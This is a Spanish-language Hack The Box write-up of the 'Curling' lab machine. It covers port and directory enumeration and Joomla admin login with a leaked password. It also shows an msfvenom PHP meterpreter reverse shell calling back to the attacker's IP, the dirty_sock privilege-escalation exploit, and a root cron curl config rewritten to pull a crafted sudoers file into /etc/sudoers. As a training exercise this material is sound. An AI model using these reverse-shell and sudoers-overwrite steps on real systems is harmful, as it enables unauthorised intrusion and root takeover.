This page looks best with JavaScript enabled

Hack The Box - Curling

 •  ✍️ sckull

Curling, encontramos credenciales tras enumerar Joomla y mediante una extension obtuvimos acceso a la maquina. Un pequeño reto nos permitio obtener una contraseña para realizar movimiento lateral. Para escalar privilegios se muestran dos formas, ejecutando el exploit Dirty Sock y modificando el archivo Sudoers mediante Curl y un CronJob.

Nombre Curling box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.150
Maker

L4mpje

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6, 5.3, 5.1, 4.9, 4.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 7, 7, 3, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

1
2
3
4
5
6
7
8
root@sckull:~/htb/curling# masscan -p1-65535,U:1-65535 10.10.10.150 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT)
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.150                                    
Discovered open port 22/tcp on 10.10.10.150 

Escaneo al puerto 80 y 22

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 10.10.10.150
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.18 - 2.6.22
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   707.63 ms 10.10.12.1
2   707.82 ms 10.10.10.150

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.56 seconds

HTTP 80

Al visitar la pagina en el puerto 80 encontramos una pagina sencilla con varios post, en donde tambien vemos el nombre de Floris y Super User que puede referirse a administrator.

image
image
image

GOBUSTER

Escaneo de directorios y archivos html, php y txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@sckull:~/htb/curling# gobuster -u http://10.10.10.150/ -w /usr/share/wordlists/dirb/common.txt -q -np -x html,php,txt -t 30
/administrator (Status: 301)
/bin (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)

Dentro de los directorios y archivos encontrados vemos uno no muy comun /secret.txt al visitar la direccion nos encontramos con una cadena en base64.

image

Al decodificar dicha cadena nos devuelve Curling2018! posiblemente una contraseña para uno de los dos usuarios administrator y floris. Al intentar con el usuario floris y la contraseña en /secret.txt nos logramos logear al panel de administracion de joomla.

1
2
Username: floris
Password: Curling2018!

image

SHELL

Ahora que tenemos acceso al panel de administracion podemos intentar obtener una shell mediante una extension mod_simplefileupload. Primero debemos de generar nuestro payload con msfvenom y poner a la escucha nuestra maquina con multi/handler.

IMAGE ALT TEXT

Metasploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
root@sckull:~/htb/curling# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.12.11 LPORT=7878 -o batman.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1112 bytes
Saved as: batman.php
root@sckull:~/htb/curling# msfconsole -q
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.12.11
LHOST => 10.10.12.11
msf5 exploit(multi/handler) > set LPORT 7878
LPORT => 7878
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.12.11:7878

image

Para subir nuestra extension nos dirigmos a Extentions > Manage > Install > Upload Package File, elegimos nuestro paquete.
image

Luego nos dirigimos a http://10.10.10.150/modules/mod_simplefileuploadv1.3/elements/udd.php, procedemos a subir nuestro payload y visitar la pagina donde se encuentra nuestro payload.
image
image
Y obtenemos nuestra sesion meterpreter.

Metasploit - Sesion Meterpreter

image

En la carpeta /home/floris encontramos el flag user.txt pero no tenemos permisos para leerlo, pero encontramos un archivo con el nombre de password_backup.

image

Utilizamos xxd para verificar el archivo, al consulatar la firma de archivos encontramos que es un archivo de tipo bzip2.

image
image

Utilizamos nuevamente xxd para escribir este archivo en /tmp.

1
xxd -r /home/floris/password_backup > /tmp/backup.bz2

image

Pasamos nuestro archivo a base64 para poder extraerlo localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@sckull:~/htb/curling# cat base64 | base64 -d > backup.bz2
root@sckull:~/htb/curling# bzip2 -d backup.bz2 
root@sckull:~/htb/curling# ls
backup  base64  batman.php  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# cat backup
�l[password�r�BZh91AY&SY6Ǎ����@@!PtD�� t"d�hhOPIS@��6��8ET>P@�#I bՃ|3��x���������(*N�&�H��k1��x��"{�ೱ��]��B@�6�m��root@sckull:~/htb/curling# file backup
backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
root@sckull:~/htb/curling# mv backup file.gz
root@sckull:~/htb/curling# gunzip file.gz 
root@sckull:~/htb/curling# ls
base64  batman.php  file  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# file file 
file: bzip2 compressed data, block size = 900k
root@sckull:~/htb/curling# bzip2 -d file.bz2 
root@sckull:~/htb/curling# ls
base64  batman.php  file  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# cat file 
password.txt0000644000000000000000000000002313301066143012147 0ustar  rootroot5d<wdCbdZu)|hChXll
root@sckull:~/htb/curling# file file 
file: POSIX tar archive (GNU)
root@sckull:~/htb/curling# tar xvf file
password.txt
root@sckull:~/htb/curling# cat password.txt 
5d<wdCbdZu)|hChXll
root@sckull:~/htb/curling#

Finalmente despues de pasar por varios archivos nos encontramos con una contraseña dentro del archivo password.txt, vamos a utilizarla para el usuario Floris en el servicio ssh y obtenemos nuestra bandera user.txt.

image

PRIVILEGE ESCALATION

Realizamos una enumeracion de posibles exploits con linux-exploit-suggester dentro del directorio /tmp, esto para facilitarnos una escalada de privilegios.

image

Encontramos el CVE-2019-7304 de dirty_sock que podria ayudarnos para escalar privilegios, descargamos y ejecutamos nuestro exploit en /tmp, el cual nos creara un usario con privilegios root.

image

Cambiamos de usuario con su al usuario dirty_sock, y obtenemos privilegios root y la bandera root.txt.

image

PRIVILEGE ESCALATION v2

Para esta Curling tenemos otra forma de obtener root, para ello utilizamos pspy para ver los cron que se ejecutan.
image

Observamos que hay uno cronjob que ejecuta un comando el cual copia un archivo llamado default.txt a /home/floris/admin-area/input.

1
cat /root/default.txt > /home/floris/admin-area/input

Y otro que hace uso de curl y mediante un archivo hace una consulta el cual lo guarda en report.

1
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

Sabiendo lo anterior podemos crear un archivo sudoers que contenga permisos de usuario root para el usuario floris, utilizar un servidor local para que el cron haga la consulta, descargue el archivo y lo guarde en el archivo de sudoers.

sudoers
image

Python HTTP Server
image

Editamos el archivo input con lo siguiente:

1
2
url = "http://10.10.12.11/sudoers"
output = "/etc/sudoers"

image

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe